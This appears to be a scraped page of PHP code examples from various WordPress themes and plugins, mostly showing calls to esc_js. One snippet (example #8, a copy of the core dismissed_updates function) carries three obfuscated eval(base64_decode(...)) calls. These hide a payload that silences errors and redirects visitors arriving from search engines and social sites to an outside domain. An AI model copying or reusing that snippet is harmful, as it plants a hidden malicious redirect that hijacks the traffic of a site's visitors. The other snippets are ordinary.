コード例 #1
0
ファイル: functions.php プロジェクト: estvmachine/nicowp
function ts_essentials_escape($str = '', $type = '', $context = '')
{
    if (trim($str)) {
        if ($type == 'strip') {
            if ($context == 'widget_before_after') {
                return strip_tags($str, '<div><ul><li>');
            } elseif ($context == 'widget_title_before_after') {
                return strip_tags($str, '<div><ul><li><h3><h4><h5><h6><strong><em><i><b><span>');
            } elseif (substr($context, 0, 1) == '<') {
                return strip_tags($str, $context);
            } else {
                return strip_tags($str);
            }
        } elseif ($type == 'bal' || $type == 'balance') {
            return balanceTags($str);
        } elseif ($type == 'attr') {
            return esc_attr($str);
        } elseif ($type == 'html') {
            return esc_html($str);
        } elseif ($type == 'url') {
            return esc_url($str);
        } elseif ($type == 'js') {
            return esc_js($str);
        } elseif ($type == 'textarea') {
            return esc_textarea($str);
        } elseif ($type == 'sql') {
            return esc_sql($str);
        } elseif ($type == 'post') {
            return wp_kses_post($str);
        }
    }
    return $str;
}
コード例 #2
0
ファイル: widget-languages.php プロジェクト: kivivuori/jotain
 function widget($args, $instance)
 {
     global $polylang;
     if (!(isset($polylang) && $polylang->model->get_languages_list() && ($list = pll_the_languages(array_merge($instance, array('echo' => 0)))))) {
         return;
     }
     extract($args);
     extract($instance);
     echo "{$before_widget}\n";
     if ($title = apply_filters('widget_title', $title, $instance, $this->id_base)) {
         echo $before_title . $title . $after_title;
     }
     echo $dropdown ? $list : "<ul>\n" . $list . "</ul>\n";
     echo "{$after_widget}\n";
     // javascript to switch the language when using a dropdown list
     if ($dropdown) {
         foreach ($polylang->model->get_languages_list() as $language) {
             $url = $force_home || ($url = $polylang->links->get_translation_url($language)) == null ? $polylang->links->get_home_url($language) : $url;
             $urls[] = '"' . esc_js($language->slug) . '":"' . esc_url($url) . '"';
         }
         $urls = implode(',', $urls);
         $js = "\n\t\t\t\t<script type='text/javascript'>\n\t\t\t\t\t//<![CDATA[\n\t\t\t\t\tvar urls = {{$urls}};\n\t\t\t\t\tvar d = document.getElementById('lang_choice');\n\t\t\t\t\td.onchange = function() {\n\t\t\t\t\t\tfor (var i in urls) {\n\t\t\t\t\t\t\tif (this.value == i)\n\t\t\t\t\t\t\t\tlocation.href = urls[i];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t//]]>\n\t\t\t\t</script>";
         echo $js;
     }
 }
コード例 #3
0
function dismissed_updates() {
	$dismissed = get_core_updates( array( 'dismissed' => true, 'available' => false ) );
	if ( $dismissed ) {

		$show_text = esc_js(__('Show hidden updates'));
		$hide_text = esc_js(__('Hide hidden updates'));
	?>
	<script type="text/javascript">

		jQuery(function($) {
			$('dismissed-updates').show();
			$('#show-dismissed').toggle(function(){$(this).text('<?php echo $hide_text; ?>');}, function() {$(this).text('<?php echo $show_text; ?>')});
			$('#show-dismissed').click(function() { $('#dismissed-updates').toggle('slow');});
		});
	</script>
	<?php
		echo '<p class="hide-if-no-js"><a id="show-dismissed" href="#">'.__('Show hidden updates').'</a></p>';
		echo '<ul id="dismissed-updates" class="core-updates dismissed">';
		foreach( (array) $dismissed as $update) {
			echo '<li>';
			list_core_update( $update );
			echo '</li>';
		}
		echo '</ul>';
	}
}
コード例 #4
0
ファイル: Abstract.php プロジェクト: nullify005/shcc-website
 /**
  * Compile the schema.org event data into an array
  */
 public function get_data($post = null, $args = array())
 {
     if (!$post instanceof WP_Post) {
         $post = Tribe__Main::post_id_helper($post);
     }
     $post = get_post($post);
     if (!$post instanceof WP_Post) {
         return array();
     }
     $data = (object) array();
     // We may need to prevent the context to be triggered
     if (!isset($args['context']) || false !== $args['context']) {
         $data->{'@context'} = 'http://schema.org';
     }
     $data->{'@type'} = $this->type;
     $data->name = esc_js(get_the_title($post));
     $data->description = esc_js(tribe_events_get_the_excerpt($post));
     if (has_post_thumbnail($post)) {
         $data->image = wp_get_attachment_url(get_post_thumbnail_id($post));
     }
     $data->url = esc_url_raw(get_permalink($post));
     // Index by ID: this will allow filter code to identify the actual event being referred to
     // without injecting an additional property
     return array($post->ID => $data);
 }
    function output_javascript()
    {
        $confirmation_msg = esc_js(__('Following this link will exit the Wizard mode. Are you sure you want to proceed?', 'wdeb'));
        echo <<<EoWizardRedirectionJs
<script type="text/javascript">
(function (\$) {
\$(function () {
\tvar links = \$("#wpadminbar a")
\t;
\tlinks.each(function () {
\t\tvar me = \$(this)
\t\t\thref = me.attr("href"),
\t\t\tnew_href = href,
\t\t\tseparator = href.match(/\\?/) ? '&' : '?',
\t\t\tin_menu = \$('.wdeb_wizard_step a[href="' + href + '"]')
\t\t;
\t\tif (in_menu.length) return true; // Link exists in the menu, no need to rebind
\t\tif (href.match(/^#/)) return true; // Don't do this for local links

\t\tnew_href += separator + 'wdeb_off';

\t\tme
\t\t\t.attr("href", new_href)
\t\t\t.off("click")
\t\t\t.on("click", function () {
\t\t\t\tif (!confirm("{$confirmation_msg}")) return false;
\t\t\t\treturn true;
\t\t\t})
\t\t;
\t});
});
})(jQuery);
</script>
EoWizardRedirectionJs;
    }
コード例 #6
0
ファイル: skype.php プロジェクト: sriram911/pls
/**
 * Edit Skype button submit.
 */
function wpcf_fields_skype_meta_box_submit()
{
    $update = esc_attr($_GET['update']);
    $preview = wpcf_fields_skype_get_button_image(esc_attr($_POST['skypename']), esc_attr($_POST['buttonstyle']));
    ?>
    <script type="text/javascript">
        //<![CDATA[
        jQuery(document).ready(function(){
            window.parent.jQuery('#<?php 
    echo $update;
    ?>
-skypename').val('<?php 
    echo esc_js($_POST['skypename']);
    ?>
');
            window.parent.jQuery('#<?php 
    echo $update;
    ?>
-style').val('<?php 
    echo esc_js($_POST['buttonstyle']);
    ?>
');
            window.parent.jQuery('#<?php 
    echo $update;
    ?>
-preview').html('<?php 
    echo $preview;
    ?>
');
            window.parent.jQuery('#TB_closeWindowButton').trigger('click');
        });
        //]]>
    </script>
    <?php 
}
コード例 #7
0
 function update_nag()
 {
     $theme = wp_get_theme($this->theme_slug);
     $api_response = get_transient($this->response_key);
     if (false === $api_response) {
         return;
     }
     $update_url = wp_nonce_url('update.php?action=upgrade-theme&amp;theme=' . urlencode($this->theme_slug), 'upgrade-theme_' . $this->theme_slug);
     // CT Mod: change message, add textdomain
     //$update_onclick = ' onclick="if ( confirm(\'' . esc_js( __( "Updating this theme will lose any customizations you have made. 'Cancel' to stop, 'OK' to update." ) ) . '\') ) {return true;}return false;"';
     $update_onclick = ' onclick="if ( confirm(\'' . esc_js(sprintf(__("Any customizations you have made directly to %s's theme files will be lost. Please consider using a child theme for modifications.", "church-theme-framework"), $theme->get('Name'))) . '\') ) {return true;}return false;"';
     if (version_compare($this->version, $api_response->new_version, '<')) {
         echo '<div id="update-nag">';
         // CT Mod: Change message, localize -- now link directly to changelog
         /*
         printf( '<strong>%1$s %2$s</strong> is available. <a href="%3$s" class="thickbox" title="%4s">Check out what\'s new</a> or <a href="%5$s"%6$s>update now</a>.',
         	$theme->get( 'Name' ),
         	$api_response->new_version,
         	'#TB_inline?width=640&amp;inlineId=' . $this->theme_slug . '_changelog',
         	$theme->get( 'Name' ),
         	$update_url,
         	$update_onclick
         );
         */
         printf(__('<strong>%1$s %2$s</strong> is available. <a href="%3$s"%4$s>Update Now</a> or read the <a href="%5$s" target="_blank">Changelog</a>.', 'church-theme-framework'), $theme->get('Name'), $api_response->new_version, $update_url, $update_onclick, 'http://churchthemes.com/go/changelog/' . CTFW_THEME_SLUG . '/');
         echo '</div>';
         echo '<div id="' . $this->theme_slug . '_' . 'changelog" style="display:none;">';
         echo wpautop($api_response->sections['changelog']);
         echo '</div>';
     }
 }
コード例 #8
0
function dismissed_updates()
{
    $dismissed = get_core_updates(array('dismissed' => true, 'available' => false));
    if ($dismissed) {
        $show_text = esc_js(__('Show hidden updates'));
        $hide_text = esc_js(__('Hide hidden updates'));
        ?>
	<script type="text/javascript">

		jQuery(function($) {
			$('dismissed-updates').show();
			$('#show-dismissed').toggle(function(){$(this).text('<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        echo $hide_text;
        ?>
');}, function() {$(this).text('<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        echo $show_text;
        ?>
')});
			$('#show-dismissed').click(function() { $('#dismissed-updates').toggle('slow');});
		});
	</script>
	<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        echo '<p class="hide-if-no-js"><a id="show-dismissed" href="#">' . __('Show hidden updates') . '</a></p>';
        echo '<ul id="dismissed-updates" class="core-updates dismissed">';
        foreach ((array) $dismissed as $update) {
            echo '<li>';
            list_core_update($update);
            echo '</li>';
        }
        echo '</ul>';
    }
}
コード例 #9
0
 function print_scripts_l10n($handle, $echo = true)
 {
     if (empty($this->registered[$handle]->extra['l10n']) || empty($this->registered[$handle]->extra['l10n'][0]) || !is_array($this->registered[$handle]->extra['l10n'][1])) {
         return false;
     }
     $object_name = $this->registered[$handle]->extra['l10n'][0];
     $data = "var {$object_name} = {\n";
     $eol = '';
     foreach ($this->registered[$handle]->extra['l10n'][1] as $var => $val) {
         if ('l10n_print_after' == $var) {
             $after = $val;
             continue;
         }
         $data .= "{$eol}\t{$var}: \"" . esc_js($val) . '"';
         $eol = ",\n";
     }
     $data .= "\n};\n";
     $data .= isset($after) ? "{$after}\n" : '';
     if ($echo) {
         echo "<script type='text/javascript'>\n";
         echo "/* <![CDATA[ */\n";
         echo $data;
         echo "/* ]]> */\n";
         echo "</script>\n";
         return true;
     } else {
         return $data;
     }
 }
コード例 #10
0
ファイル: view.php プロジェクト: Netsoro/gdnlteamgroup
 public function getManagerPage($errors = array())
 {
     $html = phpQuery::newDocumentFileHTML(MVBAPK_HTML_DIR . 'admin/manager-page.html');
     if ($_POST['submited']) {
         if (count($errors)) {
             $html['#notice-message > div:first']->removeClass('ui-state-highlight');
             $html['#notice-message > div:first']->addClass('ui-state-error');
             $html['#notice-message #message']->html(implode('<br/>', $errors));
         }
     } else {
         $html['#notice-message']->addClass('dialog');
     }
     //add list of styles
     $styles = $this->modelNode->getStyleList();
     if (is_array($styles)) {
         foreach ($styles as $id => $style) {
             $id = esc_attr($id);
             $label = esc_js($style['label']);
             $html['#style']->append("<option value='{$id}'>{$label}</option>");
         }
         reset($styles);
         $first = current($styles);
         $html['#current-style-display'] = $first['label'];
     }
     echo $html->htmlOuter();
 }
コード例 #11
0
function showhide_shortcode($atts, $content = null)
{
    // Variables
    $post_id = get_the_id();
    $word_count = number_format_i18n(sizeof(explode(' ', strip_tags($content))));
    // Extract ShortCode Attributes
    $attributes = shortcode_atts(array('type' => 'pressrelease', 'more_text' => __('Show Press Release (%s More Words)', 'wp-showhide'), 'less_text' => __('Hide Press Release (%s Less Words)', 'wp-showhide'), 'hidden' => 'yes'), $atts);
    // More/Less Text
    $more_text = sprintf($attributes['more_text'], $word_count);
    $less_text = sprintf($attributes['less_text'], $word_count);
    // Determine Whether To Show Or Hide Press Release
    $hidden_class = 'sh-hide';
    $hidden_css = 'display: none;';
    $hidden_aria_expanded = 'false';
    if ($attributes['hidden'] === 'no') {
        $hidden_class = 'sh-show';
        $hidden_css = 'display: block;';
        $hidden_aria_expanded = 'true';
        $tmp_text = $more_text;
        $more_text = $less_text;
        $less_text = $tmp_text;
    }
    // Format HTML Output
    $output = '<div id="' . $attributes['type'] . '-link-' . $post_id . '" class="sh-link ' . $attributes['type'] . '-link ' . $hidden_class . '"><a href="#" onclick="showhide_toggle(\'' . esc_js($attributes['type']) . '\', ' . $post_id . ', \'' . esc_js($more_text) . '\', \'' . esc_js($less_text) . '\'); return false;" aria-expanded="' . $hidden_aria_expanded . '"><span id="' . $attributes['type'] . '-toggle-' . $post_id . '">' . $more_text . '</span></a></div>';
    $output .= '<div id="' . $attributes['type'] . '-content-' . $post_id . '" class="sh-content ' . $attributes['type'] . '-content ' . $hidden_class . '" style="' . $hidden_css . '">' . do_shortcode($content) . '</div>';
    return $output;
}
コード例 #12
0
ファイル: image.php プロジェクト: sandum150/cheltuieli
/**
 * Renders inline JS.
 */
function wpcf_fields_image_meta_box_js_inline()
{
    global $post;
    $for_post = isset($post) ? 'post_id=' . $post->ID . '&' : '';
    ?>
    <script type="text/javascript">
        //<![CDATA[
        jQuery(document).ready(function(){
            wpcf_formfield = false;
            jQuery('.wpcf-fields-image-upload-link').live('click', function() {
                wpcf_formfield = '#'+jQuery(this).attr('id')+'-holder';
                tb_show('<?php 
    echo esc_js(__('Upload image', 'wpcf'));
    ?>
', 'media-upload.php?<?php 
    echo $for_post;
    ?>
type=image&context=wpcf-fields-media-insert&TB_iframe=1&width=640&height=336');
                return false;
            }); 
        });
        //]]>
    </script>
    <?php 
}
コード例 #13
0
ファイル: class.slider.php プロジェクト: ConductiveIO/mbrady
    /**
     * Fire bxslider
     */
    public function wp_footer()
    {
        ?>
		<script>
		jQuery( function( $ ) {
			$( '.habakiri-slider__list' ).slick( {
				arrows: true,
				adaptiveHeight: true,
				autoplay: <?php 
        echo esc_js(Habakiri::get('slider_option_interval') ? 'true' : 'false');
        ?>
,
				autoplaySpeed: <?php 
        echo esc_js(Habakiri::get('slider_option_interval'));
        ?>
,
				speed: <?php 
        echo esc_js(Habakiri::get('slider_option_speed'));
        ?>
,
				fade: <?php 
        echo esc_js(Habakiri::get('slider_option_effect') === 'fade' ? 'true' : 'false');
        ?>
,
				nextArrow: '<span class="habakiri-slider__arrow habakiri-slider__arrow--next genericon genericon-collapse"></span>',
				prevArrow: '<span class="habakiri-slider__arrow habakiri-slider__arrow--prev genericon genericon-collapse"></span>'
			} );
		} );
		</script>
		<?php 
    }
コード例 #14
0
/**
* Display a notice asking the user to take the Broken Link Checker user survey.
*
* @return void
*/
function blc_display_survey_notice()
{
    //Only people who can actually use the plugin will see the notice
    if (!current_user_can('manage_links')) {
        return;
    }
    if (!empty($_GET['dismiss-blc-survey'])) {
        //The user has chosen to hide the survey notice
        $blc_config = blc_get_configuration();
        $blc_config->options['hide_surveyio_notice'] = true;
        $blc_config->save_options();
        return;
    }
    $survey_url = 'http://survey.io/survey/7fbf0';
    $msg = sprintf('<strong>Help improve Broken Link Checker - <a href="%s" target="_blank" title="This link will open in a new window" id="blc-take-survey-link">take a user feedback survey!</a></strong>
		 <br><a href="%s">Hide this notice</a>', $survey_url, esc_attr(add_query_arg('dismiss-blc-survey', 1)));
    echo '<div id="update-nag" class="blc-survey-notice" style="text-align: left; padding-left: 10px;">' . $msg . '</div>';
    //Auto-hide the notice after the user clicks the survey link
    ?>
	<script type="text/javascript">
	jQuery(function($){
		$('#blc-take-survey-link').click(function(){
			$('.blc-survey-notice').hide('fast');
			$.get('<?php 
    echo esc_js(add_query_arg('dismiss-blc-survey', 1, admin_url()));
    ?>
');
		});
	});
	</script>
	<?php 
}
コード例 #15
0
/**
 * The Shortcode
 */
function ebor_progress_circle_shortcode($atts, $content = null)
{
    extract(shortcode_atts(array('title' => '', 'percent' => '0.4', 'color' => '#7bc4e6'), $atts));
    $id = wp_rand(0, 1000);
    $output = '
		<div class="circle-progress-wrapper bm40 wow fadeIn" data-wow-duration="1s" data-wow-delay="0.0s">
			<div class="circle-progress circle circle' . esc_attr($id) . '"> 
				<h4>' . $title . '</h4> 
			</div>
		</div>

		<script type="text/javascript">
			jQuery(window).load(function() {
				var circle' . esc_attr($id) . ' = new ProgressBar.Circle(".circle.circle' . esc_attr($id) . '", {
			        color: "' . $color . '",
			        trailColor: "rgba(255,255,255,0.1)",
				    strokeWidth: 2,
				    trailWidth: 2,
				    duration: 4500,
				    easing: "easeInOut",
				    text: {
				        value: "' . esc_js($percent) . '"
				    },
				    step: function(state, bar) {
				        bar.setText((bar.value() * 100).toFixed(0));
				    }
			    });
			
			    circle' . esc_attr($id) . '.animate(' . esc_js($percent) . ');
			});
		</script>
	';
    return $output;
}
コード例 #16
0
function wpbc_make_link_absolute($link)
{
    if ($link != get_option('siteurl') && strpos($link, 'http') !== 0) {
        $link = get_option('siteurl') . '/' . trim(wp_make_link_relative($link), '/');
    }
    return esc_js($link);
}
コード例 #17
0
ファイル: wporg-help.php プロジェクト: serhi/wordpress-sites
    function after_notices()
    {
        if ($this->is_notice_hidden()) {
            return;
        }
        $hide_url = gp_url('/getting-started/hide-notice');
        ?>
		<div class="notice" id="help-notice">
			New to <em>translate.wordpress.org</em>?
			Have a look at the <a href="<?php 
        echo esc_url(gp_url('/getting-started'));
        ?>
">Getting Started guide.</a>
			<a id="hide-help-notice" class="secondary" style="float: right;" href="<?php 
        echo esc_url($hide_url);
        ?>
">Hide</a>
		</div>
		<script type="text/javascript">
			jQuery('#hide-help-notice').click(function() {
				jQuery.ajax({url: '<?php 
        echo esc_js($hide_url);
        ?>
'});
				jQuery('#help-notice').fadeOut(1000);
				return false;
			});
		</script>	
<?php 
    }
コード例 #18
0
    function form($instance)
    {
        ?>
        <p><label for="<?php 
        echo $this->get_field_id('ewic_shortcode');
        ?>
">Select your Slider name and hit save button.<br />
    <select id="<?php 
        echo $this->get_field_id('ewic_shortcode');
        ?>
" name="<?php 
        echo $this->get_field_name('ewic_shortcode');
        ?>
" >
	<?php 
        global $post;
        $args = array('post_type' => 'easyimageslider', 'order' => 'ASC', 'posts_per_page' => -1, 'post_status' => 'publish');
        $myposts = get_posts($args);
        foreach ($myposts as $post) {
            setup_postdata($post);
            echo '<option value=' . $post->ID . '' . selected($instance["ewic_shortcode"], $post->ID) . '>' . esc_html(esc_js(the_title(NULL, NULL, FALSE))) . '</option>';
        }
        ?>
</select></label></p>
        <?php 
    }
コード例 #19
0
function gp_link_with_ays_get($url, $text, $attrs = array())
{
    $ays_text = $attrs['ays-text'];
    unset($attrs['ays-text']);
    $attrs['onclick'] = "return confirm('" . esc_js($ays_text) . "');";
    return gp_link_get($url, $text, $attrs);
}
コード例 #20
0
ファイル: PostMessage.php プロジェクト: IlhamFS/wordpress
 /**
 * Try to automatically generate the script necessary for postMessage to work.
 * Something like this will have to be added to the control arguments:
 *
 
 	'transport' => 'postMessage',
 	'js_vars'   => array(
 		array(
 			'element'  => 'body',
 			'function' => 'css',
 			'property' => 'color',
 		),
 		array(
 			'element'  => '#content',
 			'function' => 'css',
 			'property' => 'background-color',
 		),
 		array(
 		'element'  => 'body',
 		'function' => 'html',
 		)
 	)
 *
 */
 public function wp_footer()
 {
     global $wp_customize;
     // Early exit if we're not in the customizer
     if (!isset($wp_customize)) {
         return;
     }
     $fields = Kirki::fields()->get_all();
     $script = '';
     foreach ($fields as $field) {
         if (isset($field['transport']) && !is_null($field['js_vars']) && 'postMessage' == $field['transport']) {
             foreach ($field['js_vars'] as $js_vars) {
                 $script .= 'wp.customize( \'' . $field['settings'] . '\', function( value ) {';
                 $script .= 'value.bind( function( newval ) {';
                 if ('html' == $js_vars['function']) {
                     $script .= '$( \'' . esc_js($js_vars["element"]) . '\' ).html( newval );';
                 } elseif ('css' == $js_vars['function']) {
                     $script .= '$(\'' . esc_js($js_vars["element"]) . '\').css(\'' . esc_js($js_vars["property"]) . '\', newval );';
                 }
                 $script .= '}); });';
             }
         }
     }
     if ('' != $script) {
         echo ScriptRegistry::prepare($script);
     }
 }
コード例 #21
0
ファイル: admin.php プロジェクト: jwplayer/wordpress-plugin
function jwplayer_admin_head()
{
    $plugin_url = plugins_url('', __FILE__);
    $content_mask = jwplayer_get_content_mask();
    if ($content_mask === JWPLAYER_CONTENT_MASK && is_ssl()) {
        $content_mask = 'https://' . $content_mask;
    }
    $nr_videos = intval(get_option('jwplayer_nr_videos'));
    ?>

	<script type="text/javascript">
		jwplayerwp.plugin_url = '<?php 
    echo esc_url($plugin_url);
    ?>
';
		jwplayerwp.content_mask = '<?php 
    echo esc_url($content_mask);
    ?>
';
		jwplayerwp.nr_videos = <?php 
    echo esc_js($nr_videos);
    ?>
;
		jwplayerwp.debug = <?php 
    echo wp_json_encode(WP_DEBUG);
    ?>
;
	</script>
	<?php 
}
コード例 #22
0
        /**
         * Show update link.
         * Opens Thickbox with Changelog.
         */
        public function show_update_details()
        {
            $update_data = $this->get_update_data();
            // only show if an update is available
            if ($update_data === false) {
                return;
            }
            $update_url = wp_nonce_url('update.php?action=upgrade-theme&amp;theme=' . urlencode($this->product->get_slug()), 'upgrade-theme_' . $this->product->get_slug());
            $update_onclick = ' onclick="if ( confirm(\'' . esc_js(__("Updating this theme will lose any customizations you have made. 'Cancel' to stop, 'OK' to update.")) . '\') ) {return true;}return false;"';
            ?>
			<div id="update-nag">
				<?php 
            printf(__('<strong>%s version %s</strong> is available. <a href="%s" class="thickbox" title="%s">Check out what\'s new</a> or <a href="%s" %s>update now</a>.'), $this->product->get_item_name(), $update_data->new_version, '#TB_inline?width=640&amp;inlineId=' . $this->product->get_slug() . '_changelog', $this->get_item_name(), $update_url, $update_onclick);
            ?>
			</div>
			<div id="<?php 
            echo $this->product->get_slug();
            ?>
_changelog" style="display: none;">
				<?php 
            echo wpautop($update_data->sections['changelog']);
            ?>
			</div>
			<?php 
        }
コード例 #23
0
 /**
  * Enqueqe Accept/Skip CSS on preview offer
  */
 function so_wp_head()
 {
     global $sa_smart_offers;
     if (isset($_GET['preview']) && $_GET['preview'] == 'true' && !empty($_GET['preview_id'])) {
         wp_enqueue_style('so_frontend_css');
         $offer_id = $_GET['preview_id'];
         $so_offer = new SO_Offer();
         $offer_content = $so_offer->return_post_content($offer_id, $page = '', $where_url = '');
         $show_offer_as = get_post_meta($offer_id, 'so_show_offer_as', true);
         if ($show_offer_as == "offer_as_inline") {
             $js = "jQuery(document).ready(function() {\n\n                                jQuery('div.site-content').find('div.entry-content').append('<div id=\"so_preview_inline\"></div>');\n                                jQuery('#so_preview_inline').html('" . html_entity_decode(esc_js(apply_filters('the_content', $offer_content))) . "');\n                                jQuery('#so-offer-content-" . $offer_id . "').css( 'display' , 'inline' );\n                            });";
         } elseif ($show_offer_as == "offer_as_popup") {
             if (!wp_script_is('jquery')) {
                 wp_enqueue_script('jquery');
                 wp_enqueue_style('jquery');
             }
             if (!wp_script_is('so_magnific_popup_js')) {
                 wp_enqueue_script('so_magnific_popup_js', plugins_url('smart-offers/assets/js/jquery.magnific-popup.js'));
             }
             if (!wp_style_is('so_magnific_popup_css')) {
                 wp_enqueue_style('so_magnific_popup_css', plugins_url('smart-offers/assets/css/magnific-popup.css'));
             }
             echo apply_filters('the_content', $offer_content);
             $js = "jQuery(document).ready(function() {\n\n                                jQuery('#so-offer-content-" . $offer_id . "').addClass('white-popup');\n                                                            \n                                //magnificPopup\n                                \n                                jQuery.magnificPopup.open({\n                                        items: {\n                                                  src: jQuery('#so-offer-content-" . $offer_id . "')\n                                                },\n                                            type: 'inline',\n                                            modal: true,\n                                            tError: '" . __('The content could not be loaded.', SA_Smart_Offers::$text_domain) . "'\n                                 });\n                        });";
         }
         $sa_smart_offers->enqueue_js($js);
     }
 }
コード例 #24
0
        /**
         * Show update link.
         * Opens Thickbox with Changelog.
         */
        public function show_update_details()
        {
            $update_data = $this->get_update_data();
            // only show if an update is available
            if ($update_data === false) {
                return;
            }
